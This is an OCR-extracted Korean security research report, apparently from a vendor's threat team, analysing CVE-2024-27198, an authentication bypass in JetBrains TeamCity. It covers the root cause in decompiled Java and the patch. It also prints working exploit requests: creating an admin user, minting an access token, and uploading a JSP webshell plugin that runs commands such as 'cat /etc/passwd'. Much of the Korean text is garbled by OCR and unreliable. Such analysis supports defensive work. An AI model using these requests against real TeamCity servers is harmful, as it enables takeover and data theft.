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m %Y EHAE
Step 1. &4 4

ms§zk PC of CVE-2024-27198 FeFHol EAISh= TeamCity AHE F53Hh tha YPE

Fo) Aok AWE 75T 4 9k,

# docker pull

docker pull jetbrains/teamcity-server:2023.11.3

# docker run

docker run —it —d —name teamcity —p 8111:8111 jetbrains/teamcity-server:2023.11.3

of
ot
2

Azt TeamCity A1H][(192.168.102.74:8111)°] HsHH, offiet o] CVE-2024-27198
FoFAo] EAsH= 2023.11.3 HAL AHE &eld 4 9t}

2\ Not secure  [192.168.102.74:8111/loginhtml

Log in to TeamCity

Usemame

Password

Remember me Reset password

Log in

|‘u’ersi0n 2023.11.3 (build 147512)

a9 3. FeF AW AR g
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Step 2. F9F HXE

CVE-2024-27198 FHoFd-& o]

ofd

A2k PC oA ot curl AMER w22 A= B4,

$ curl -ik http://192.168.102.74:8111/eqst?jsp=/app/rest/users¥;.jsp -X POST -H "Content-Type: application/json" --
data "{W'usernamet": W'eqst#", W'passwordW" W'eqstW", W'email#": W'eqst@skshieldus.comW", W'rolesW":
{W'roleW": [{#"roleld¥": W'SYSTEM_ADMIN®", W'scopeW": #"gW"}}}"

Jhome/kali

2.168.1682

TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store

Content-Type: application/xml;charset=I"
Content-Language: en-US

Content-Length: 66%

Date: Mon, @1 Apr 2024 B86:29:23

a9 4 curl & S F7 A BY 23

ABATE eqst TEAF AP o2 213,

U & 192.168.102.74:8111/fa : kg

KaliLinux # KaliTools <« KaliDocs M Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

)
TC Projects + Changes  Agents O 0 Administration

Favorite Builds

Log in to TeamCity

Username
eqst '
Password
(TTT]
Remember me Reset password
Login
Version 2023.11.3 (build 147512)

< 5-hide sidebar

a9 5. AR A ARer =9
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Kali Linux & KaliTools « KaliDocs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

e 1 Admini

Administration
Upload plugin zip
Project-related Settings
Projects —_—
Plugin | Browse... | test.zip
All Builds —
Build Time
Disk Usage Upload plugin zip Cancel
Server Health = oo pragrT o
Audit

d9 6. 9H4 Plugin ==

ofelel Fao] FZotd ARED o4 Plugin & AAT & ow, FAW A5 Yot

w3 #Fe] TeamCity AH oA APt

o

‘ http://{TeamCity_AH{}/plugins/{plugin_O| 2}/{XH A E jsp}?cmd={H H 0]} ‘

st.jsp?cmd=cat+/e I, &

KaliLinux & KaliTools » KaliDocs #{ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

Command: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:fusr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbhin
/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr
/games:/usr/shin/nologin man:x:6:12:man:/var/cache/man:/usr/shin/nologin Ip:x:7:7:1p:/var/spool/lpd:/fusr
/shin/nologin mail:x:8:8:mail:/var/mail:/usr/shin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin proxy:x:13:13:proxy:/bin:/fusr/shin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/fusr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:fusr/sbhin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/monexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/shin
/nologin systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-
resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:105::/nonexistent:
fusr/shin/nologin tcuser:x:1000:1000::/opt/teamcity:/bin/sh

a9 7. 94 39 49
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FoFd AP AL CVE-2024-27198 #oFdel 8% 274 A% A 3] Wl oD
9% o|F oMy Plugin @ YZEste] 47 FEE APslt B7kA) e

CVE-2024-27198 F°Fd2 web-openapijar &= A} ofzfe|H mtA(JAR) ! oA FEEE
jetbrains.buildServer.controllers.BaseController Sej204 @3l theh AFo] n|gsl At}

1) handleRequestInternal WA E AZF 3}
web—openapi.jar oA 1T 4= Ql=  Jetbrains.buildServer.controllers.BaseConroller 2=
W]  handleRequestlnternal WA =Ex= HTTP 893S AHZlele 92 sioh g HA=
Hioles & 59 HE 22o] Fdx o] Ut

o,

handleRequestlnternal WA WRo] TdH Az AZ 22 Model 7} View & HZ sl
modelAndView? A7} null HQ1A] AR i A7 null 2t 73-%-, handleRequestinternal
HAEE null g whegio

2 HITP 24 Wi &

sHIEe T2 gooldld §Hol 20H, Moded & 2713t Al & @A HAEQ]
handleRequestInternal A =] AnE Hhghetet. 0]
updateViewlfRequestHas]spParameter BIA =2 A2 C] modelAndView ZAAE

handleRequestinternal WA =8| AAFTEE ofge} Zrt,

public final ModelAndview fhandleRequestInternal{HttpServletRequest request, HttpServletResponse response)|
try {
ModelAndView modelAndView = doHandle(request, response);
if (modelAndView != null) |
if (modelAndView.getView() instanceof RedirectView) {
modelandView. getModel( ) .clear();
r else
updateViewIfRequestHas)spParameter(request, modelandview);

1
I

1

I

return_modelindview;

1% 8. handleRequestlnternal HIA =

! JAR(Java Archive, 2} ofztols) wel: ole] Aje] Aut Sehs wst, FHAEo)] ook B Pai(HAE, 1Y 5) 2
vjetelol e 8 shito] Mee ol Aup ZdEe] §-§ AXEGJON} eolneje s WiEsly] I8 ALEGe] o)A W ma

2 modelAndView: MVC = AF82} Qlg|Ho|ARRE H|ZUA 2AE BElsts 2T EY 0] fAkel sjelg =3ttt Model, View,
Controller 2 FAJo] =4, o] & model ¥ view & 4 &2 Zd|27F modelAndView Z| A,

EQST insight | 7



2) updateViewlIfRequestHasJspParameter A& A3 34
handleRequestinternal A #A]  AFgol=  updateViewlfRequestHas]spParameter — M4 =2]

AAFEE HEY 2

private void updateViewIfRequestHasJspParameter(@NotlNull HttpServletRequest request,
dNotNull ModelAndView modelAndView) {
boolean i5Contr011erRequestwithviewName = (modelAndView.getViewName() == null || @

request. getServletPathrn endsWith(".jsp")) ? false : true;
String jspFromRequest = getJspFromRequest(request);

if l15ControllerRequestNltthewName &% StringUtil.isNotEmpty(jspFromRequest) && !

r

modelAndView.getViewName().equals(jspFromRequest)) { @
modelAndView.setViewName( jspFromRequest);

’.
J

39 9. updateViewlfRequestHas]JspParameter HA =

@D modelAndView Z1A9] View7} 0|22 721 il @A &% URL A&7} jsp &2 BUA
AEA] FRlIsttt. did A5 Z = isControllerRequestWithViewNameof| A7 gHc},

@ AZTATE A4t isControllerRequestWithViewName©] Truell, jspFromRequest’t null E+=
Zrel olUm, modelAndView ZAHe] View ©]2o| jspFromRequest®t Z# ¢@riwd

T BHA

modelAndView ZHA| €] View #-& jspFromRequest #Ho 2 A3},

3) getJspFromRequest WA E AZF 33
getJspFromRequest HIAES] AAFE = T3 7T

protected String [get)sprromRequest(@NotNUlL HttpServletRequest request)| {
String jspFromRequest = request.getParameter(”jsp");
if (fspFromRequest T= null] &2 (| jspFromRequest. endshlz.th( sp")] || [JspFromRequest.contains( "admin/"))) {
1

return null;
| @ @ ®

return jspFromRequest;

et

19 10. getJspFromRequest M4 =

updateViewlfRequestHas]JspParameter WA =04 T&Sh=  getJspFromRequest HAZ=E  jsp

sfetulg o] gk Wl PEsHe WAo] mgtElel itk @F AAE thewt 2ok

O Exgol nulle] ofdx] A=
@ BAgo] “jsp’R BuUA gea] dAE
@ EAgol “admin/”& Z3st=A AA
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Step 2. 1%

TeamCity 2023.11.3 HZ oA EAct= Q5 3] FFH-2 /app/rest/server 2ol 5}

SRIGHE 4= Utk TeamCity 9] /app/rest/server =0l HI5HH QAFH AREAAl= @A AH
A HEE Hktr)

c A\ Not secure  |192.168.102.74:8111/app/rest/server

This XML file does not appear to have any style information associated with it. The document tree 1z shown

<server version="2823.11.3 (build 147512)" versionMajor="2823" versicnMinor="11" startTime="2824
curre ntT_mh "28248326T1857254+200028" buildNumber="147512" buildDate="28248125T008822+2@82" intern
rele="main_node" webUrl="http://localhost:8111" artif ach:HP1='"
<pr 1=f+= ’r=—=”#nppf’estfp’ojects"f>
oots href="/app/rest/vcs-roots"/ />

href=" spp;rettfbu1lc= [>
:f—'*aJp#rE;ffucer: />

3

<y

(%)
woE A
He oA |_|

1]

5
A
i1

] [H]
(=] T

a0 = Al

;="f5pp£restfagents“f}

Queue href="/app/rest/buildQueue"/>
Pools href="/app/rest/sgentPools"/>
tigations href="/app/rest/investigations™/>
href="/app/rest/mutes" />
href="/app/rest/server/nodes"/>
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19 11. /app/rest/server B4 23 digt

A gt 9125 AF8A7F ofUed AH BA AR thAl 401 S FEE brgksith
11

ATTRAT .1
TeamCity—
wa_ﬁuthﬁﬂt

05 Aor 2024 07:34: 47 GMT

ﬂu+hﬁn+|-d+|un Fequ i rec
v |oain manual v ao to "Aloain. html"

1% 12. /app/rest/server H]Q1Z Q3o digt 3¢

/app/rest/server o A M Al, 150l HA| ol HTT £ glomz Q15glo] view
updateViewlfRequestHas]spParameter M =8 &85ttt 4, IR view & 7HA]aL
mtetu]elE At A HAZEQ servletpath 7} jsp 2 BUA] grotol A Sakettt. whahA,

o
AF flole FZE 4 Qe loginhtml o] HstA s g 92 4 ok
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loginheml # obet 404 Holxet Zo] AF glo] FZ Hsd view 7 Gt HolA AR
FA) BT 5 Ark

of AT 7Fsottt. get]spFromRequest

o= 9 £He WESHH jsp HEMEE Foll & =
=2 AZ517] wlio], ol% semi-colon(:)2 jsp ¥l

A=A jsp mHetalE ghol sp 2 &

=94 2 5 9l

9 Aol wet 4% FA payload = th& T
http://{TeamCity_address}/login.html?jsp=/app/rest/server;.jsp

semi—colon = .jsp ¥l €9 3& o+ U&= o]F+= semi—colon FHe| BAFEO] jersey—server—
1.19.jar E}O]Eﬂitﬂ—i WebApplicationlmpl S22 W stripMatrixParams WA =4 HTTP URL
path parameter segment®”} A A =] /app/rest/server A2 o] 7Hest7] wj&oltt,

ok
e

sp Tl e wore wi= okele] 19 2ol semi-colon & EEE AA A=)

aseController.class

Decompiled .class file, bytecode version: 52.0 (Java 8)

modelAndView.setViewName(jspFromRequest);

Debug 3 TC_debug

=l

Threads & Variables Console C
"http-...RUNNING Y

© updateViewlfRequestHasJsp

"ModelAndView [view="404 jsp";

19 13. jspFromRequest ZrEtu|g &<l

3 HTTP URL Path Parameter: Matrix Parameter 2f1l%k ah0, 2+e] T4 ®2& Aojstr] 918 A-g-Hrt.
https://egst.com/main;eqst=test/board;shieldus=test & Zo] FTEA] 29| npx|ato] obd stz QAo WiAHSE 2T 4= ot
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o] & stripMatrixParams WA =2 18} path ©] HTTP URL parameter segment 7} A A o] ;. jsp
7 AAE A Sl 4 QU

WebApplicationlmpl.class

¥ Decompiled .class file, bytecode version: 50.0 (Java 6)

Debug E> TC_debug

Threads & Variables Console
"TC: 1...RUNNING ¥

> _handleRequest:1542, Weh#

"fapp/re

% 9.

c A Mot secure 192.168.102.74:8111 /¢

Thiz XML file does not appear to have any style information associated with it. The document tree 1z shown

¥ <server verslon= 2823.11.3 (build 147512)" versionMajor="2823" wversionMinor="11" startTime=" 2824
currentTime="20240327T004634+0008" buildNumber="147512" buildDate="28248129T000828+0008" interng
role="main_node" webUrl="http://localhost:8111" artifactsUrl="">

¢<projects href="/app/rest/projects”/>
<vcshoots href="/app/rest/vcs-roots"/>
<builds href="/app/rest/builds"/>
<users href="/app/rest/users"/»
userGroups href="/app/rest/userGroups
<agents href="/app/rest/agents"/>
<buildQueue href="/app/rest/buildQueus™/>
<agentPocls href="/app/rest/agentPools"/>
<investigations href="/app/rest/investigations™/>
<mutes href="/app/rest/mutes"/>
<nodes href="/app/rest/server/nodes"/>
</servers>

"Iy

)

19 15. payload & &8 Q15 93 &<
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oA et HEHE 485t TeamCity W E-2 endpoint o 570] 7FsstH, 59 {4

[e]
PI'S AT /app/rest/users AEE FJH LHo] AHH o[},

=)
k)
il
<>
o2
EL
il
7o)
@s!
w
—
>

/app/rest/users += I Y= AMEAZF POST 84 B3 A8 55 7]6& Fdgstch. shA|vt

1_ . (<]
AU

gol dlolel A8 SRol Aot otlel 242 Bl

EVIGERR http://192.168.102.74:8111/eqst?jsp=/app/rest/users;.jsp

{"username":"eqgst",
JSON "password":"skshieldus"”,
Data "email":"skshieldus.tester@sk.com",

"roles":{"role":[{"roleld":"SYSTEM_ADMIN","scope™:"g"}}}

m | cancel [ < |7 Target: httpy//192.168.102.74:8111 /P HTTR/
a==

Request Response

Pretty ~ Raw  Hex = \n = Pretty  Raw  Hex Rende \n =

POST /egst?isp=/app/rest/users:.jsp HITP/1.1 HTTR/1.1 200

1

Z[Host: 192.168.102.74:8111 Z|TeamCity-Node—=1d: NAIN_SERVER
3|Upgrade-Insecure-Requests: 1 3|Cache-Control: no-store
4|User—Agent: NMozilla/5.0 (Windows NT 10.0: Win64: x64) 4|Content-Type: application/xml

AppleWebKit/537.36 (KHTML, |ike Gecko) S[Content-Language: ko-KR

Chrome/122.0.6261.112 Safari/537.36 B|Content-Length: 678
SlAccept : T|Date: Wed, 27 Mar 2024 02:13:16 GNT

text/html ,application/xhtml+xml ,application/xml:g=0.9, S|Connection: close

image/avif.image/webp.image/apng.*/*:q=0.8.application 9

/signed-exchange:v=b3:0=0.7 p<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user
B|Accept-Encoding: gzip. deflate, br username="egst" id="11" email="skshieldus.tester@sk.com" href
7|Accept-Language: ko-KR.ko:g=0.9.en-US:g=0.8.en:q=0.7 ="/app/rest/users/id:11"><properties count="3" href="
S|Connection: close /app/rest/users/id:11/properties"><property name="
9|Content-Type: application/json addTriggeredBuildToFavorites" value="true"/><property name="
10|Content-Length: 135 plugin:ves:anyVes:anyVesRoot" value="egst"/><property name="
11 teamcity.server .buildNumber" value="147512"/></properties><
12 J”username”'”eqst”,”password”'”skshleldus” "email": roles><role roleld="SYSTEM_ADMIN" scope="g" href="

"skshieldus.tester@sk.com", ”roles”"”role”'[’”roleld”' fapp/rest/users/id:11/roles/SYSTEM_ADMIN/g"/></roles><groups

"SYSTEM_ADNMIN", "scope":"g" ] 1} count="1"><group key="ALL_USERS_GROUP" name="All| Users" href=

"/app/rest/userGroups/key:ALL_USERS_GROUP" description="

a9 16. A99 A A 5=

4 REST API: HTTP 232 =3
F35k= APL & E°] GET &

dRE AAE Y

( OHﬂ
e
ol
,4
HU

oz El** HellA ez 4 A4, 971, dElolE ¥ A S & glojEuo)L YeE
Hoz #IE AM POST 8302 #FE A4, PUT 8302 #IE ddo|E, DELETE 830 =
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2% Payload ¢} JSON Data A5 A#}, Teamcity T mliFolA o)z 5= #HAt A
gpelgh 4= Sl

o
o

Server Health
. + Create user account 2 users
Audit
. Administrator o

User Management Groups s Last login time $

Users

B . . 27 Mar 24

o \ admin %A N/A View groups (1) |=  Admin 0212:53
Integrations eqst /A skshieldus.tester@sk.com  View groups (1) |=  Admin

Tools

a9 17. 33 A

2) access token U
/app/rest/users/id:{id &t}/tokens/{Token_name}-2> A= access token 35t= API o}, id 4t

O dr

= =
1 ;o] 7] dANA 5t TAo|7] wjEo] th3 Payload & Sto] T2t access token =
AZ glo] g 4= Q.

http://192.168.102.74:8111/eqst?jsp=/app/rest/users/id:1/tokens/EQST;.jsp

Request Response
Pretty Raw Hex . in = _ Prefty Raw Hex Render = \n =
1|POST /eqst?jsp=/app/rest/users/id:1/tokens/EQST: T|HTTR/ 1.1 200
HTTP/1.1 2 (TeamCity-Node—Id: MAIN_SERVER
?|Host: 192.168.102.74:8111 3|Cache-Control: no-store
3|Upgrade-Insecure-Requests: 1 4|Content-Type: application/xml
4|User=Agent: Mozilla/6.0 (Windows NT 10.0: Win64: x64) 5|Content-Language: ko=KR
App | ellebkit/537.36 (KHTML. |ike Gecko) 5|Content-Length: 230
Chrome/122.0.6261.112 Safari/b37.36 T|Date: Wed, 27 Mar 2024 03:35:48 GMT
SlAccept PConnection: close
text/html ,application/xhtmli+xml ,application/xml:q=0.9,imag| 9
e/aviT, image/webp, image/apng.*/*:g=0.8 application/signed-| 10K?xml version="1.0" encoding="UTF-8" standalone="yes"?>
exchange:v=b3:0=0.7 <token name="EQST" creationTime="
GlAccept—Encoding: gzip. deflate, br 2024-03-27T03:35:48.4857" value="
T|Accept-Language: ko-KR,ko:g=0.9,en-US:g=0.8,en:q=0.7 eyJOeXAiOiATVENIMIJS . dT JBLWaLaFNT Z00xcWt 2YTVvQ 1exTFdj TWS
Z|Connection: close R.NDISN2RKNTATOGASNYOONDgALTg5Nj EtNzh i NGF Y zAwN | Y2" />
9|Content-Type: application/x—www—form-urlencoded
[ 0]Content-Length: 0

19 18. A access token TF 37

T2 A= ES 9 A3ol|A &eld 4~ Qlth S access token 2 Authorization: Bearer 3f|T
oz qge AE Al A-goto] Bz A @37 7ol
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admin

General An access token can be used instead of a password in login forms or sent in the "Authorization: Bearer' header when accessing RE
VCS Usernames
braups Create access token Delete all tokens

Motification Rules
Token Name $ Creation Time#  Expiration Time® Permissions Scope% Last Usage Time % Last Access |

Access Tokens 2
test1 27 Mar 24 03:22 28 Mar 24 03:22 <5ame as user> 27 Mar 24 03:23 172.17.0.1

EQST 27 Mar 24 03:35  <Permanent> <Same as users MNever

19 19. #E A} access token B Ad}

Step 4. 974 A& ¥

1) TeamCity ¢} Plugin #+%
TeamCity 94 Plugin & Y2E5H7] flsiAe 24t ool 22 Fx= o|fA glofof gt

B test.zip
I_ Teamcity-plugin.xml
I— B server
I— B test.jar
I— B buildServerResources
L

test.jsp

39 20. TeamCity ¢t Plugin +X

TeamCity of 423 Plugin 2 zip 2] FE A2 Plugin o 3t AE7} 7145 Teamcity—
Qs GAZFET ZEH jsp Y2 buildServerResources T E 2o

A
oloh g

plugin.xml ©] ¥E=
a

Yl jar THER
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2) 9}/ Plugin =& 2 A3
gt el AR o2 Administration) Plugins) Upload plugin zip HlfolA A A& kA

Plugin & 4= 4 ok

&« C A FA2Y 192.168.102.74:8111/admin/admin.htmIzZitem=plugins % » L O 2

Queue 1 heme tem « Administration

which will be utilized in tk

Project-related Settings

Projects PIUglﬂS

All Builds This TeamCity instalfatian_has 95 plugins (including 2 external)

Build Time ) : -

Browse plugins repository —I + Upload plugin zip

Disk Usage

Server Health Periodically check for plugin updates | Check MNow

Audit
User Management Upload plugin zip

Users

Groups Plugin | gl MEd |te5t.zip

tegrations irectory =/ = -
ntegrations

V.zip

Tools Upload plugin zip Cancel

Server Administration test 1.0 SKshieldus <TeamCity Data Directory>/ = -

a9 21. o4 Plugin 4=2E

oHg Plugin & Y=Lt & /plugins/{Plugin ©]5}/{jsp g} A2=2 HIoto] AP 5
Zof ARg3t oF4d Plugin 2 JSP WebShell o9, ofit 22 57 payload 2 92 g3 Adjo]
5

‘ http://{TeamCity_address}/plugins/{Plugin_name}/{jsp_file}?cmd={command}

s 9% g9 Avt okt 2o

http://192.168.102.74:8111/plugins/test/test.jsp?cmd=ls

& C AZF22% [192.168.102.74:8111/plugins/test/testjspzcmds=ls | 2 4+ & A 0 2

Command: Is

append.bat bootstrap.jar catalina.bat catalina.sh catalina-tasks.xml commons-daemon jar commons-daemon-native.targz configtest.nat
configtest.sh daemon.sh db-maintenance jar digestbat digest.sh findJava.bat findJava.sh maintainDB.cmd maintainDB.sh makebase.bat
makebase.sh runAll.bat runAllsh setclasspath.bat setclasspath.sh shutdown.bat shutdown.sh startup.bat startup.sh teamcity-serverbat
teamcity-server-configuratorjar teamcity-server-internal.bat teamcity-server-restarterbat teamcity-server-restartersh teamcity-serversh
teamcity-server-update jar TeamCityService.exe teamcity-update.bat teamcity-update.sh tomcat-julijar tomcat-native.targz tool-wrapperbat
tool-wrapper.sh version.bat version.sh

a9 22. 974 9 A9 4%
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Plugin = A

CVE-2024-27198 ‘?:_}E % JetBrains +=
]
O

« URL: https://blog.jetbrains. com/teamc1ty/2024/03/teamc1ty 2023-11-4-is—out/

2023.11.3 HAA FHoFd 3t
webA HE Aoyt et ARE o
T4 A= o E

= st 4

o|N
|o

2 g7l jsp weEtnEe Iz ARE 5 Sl
ol4s] Mol 7hesit: 2023.11.4 HWAdeA Sdgh

ED

EVIGERR http://192.168.102.74:8111/aaaa?jsp=WEB-INF/web.xml; jsp

< > C A\ Not secure [192.168.102.74:8111/aaaa?jsp=WEB-INF/web.ml;,Js = ¢ Incognito

This XML file does not appear to have any style inforination associated with it. The document tree 1s shown below.

¥ <web-app xmlns="http://Jjava.sun.com/xml/ns/Jjavase” wxmlns:xsi="http://wew.w3.org/2001/XML5chema-1nstance’
id="BuildServer” version="3.8" xsi:schemalocation="http://java.sun.com/xml/ns/javace
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" metadata-complete="true">
<display-name>Jetbrains TeamCity</display-name>
v<servlet:
<servlet-namerbuildServer</servlet-name>
<servlet-class>jetbrains.buildServer.maintenance. TeamCityDispatcherservlet</servlet-class:»
¢<load-on-startup>2</load-on-startup>
<async-supportedrtrue</async-supported:
</servlet>

a9 23. 374 A

o] & 397 2024.03 #7A] TeamCity 7} EA|5c}.
g M 2] TeamCity & updateViewlfRequestHas]spParameter A =S 2HA] Z Xt

public final ModelAndView handleRequestInternal(HttpServletRequest request,
HttpServletResponse response) throws Exception {
try {
ModelAndView modelAndView = doHandle(request, response);
1t (modellAndView = null && (modelAndView.getWView| ) instanceof RedirectView)) 1
modelAndView.getModel () .clear();

h

return modelAndView;

1% 24. updateViewlfRequestHas]JspParameter WA E A1A|
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https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/

A\ Not secure 192,168, 1 01/login jsp=WEB-INF/ % Incogrito

Log in to TeamCity

Usemame

Password

Remember me Raset password

Log in

[ version 2024.03 (buila 156166) |
a9 25.jsp U EE AR g B

webA], 2023.11.4 HA Y] TeamCity &= &S ix]= QIgt F714Q1 54 7HeAdE& 7Hx]aL §lo,
74 24 HAQl 2024.03 TeamCity 2 I AL @A)

HEZ HY HH

JetBrains TeamCity 2024.03
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« RFC2396 (https://datatracker.ietf.org/doc/html/rfc2396)

« IBM-What is a REST API? (https://www.ibm.com/topics/rest—apis)

+ TeamCity Plugin Development Help (https://plugins.jetbrains.com/docs/teamcity/plugins—
packaging.html#Server—Side+Plugins)

¢ The TeamCity Blog: TeamCity 2023.11.4 IsOut (https://blog.jetbrains.com/teamcity/2024/03/teamcity—
2023-11-4-is—out/)

+ The TeamCity Blog: Additional Critical Security Issues Affecting TeamCity On—Premises — Update to
2023.11.4 Now (https://blog.jetbrains.com/teamcity/2024/03/additional—critical—security—issues—affecting -
teamcity—on-—premises—cve—2024-27198-and-cve—2024-27199-update—to—2023-11-4-now/)

« Rapid7: CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass
Vulnerabilities (FIXED) (https://www.rapid7.com/blog/post/2024/03/04/etr—cve—2024-27198-and-cve-
2024-27199—jetbrains—teamcity—multiple—authentication—bypass—vulnerabilities—fixed/)

+ TeamCity Vulnerability Exploits Lead to Jasmin Ransomeware, Other Malware Types
(https://www.trendmicro.com/en_us/research/24/c/teamcity—vulnerability—exploits—lead —to—jasmin—
ransomware.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=032024_TeamCity)

« HTTP URL Path Parameter Syntax (https://doriantaylor.com/policy/http—url-path—parameter—syntax)
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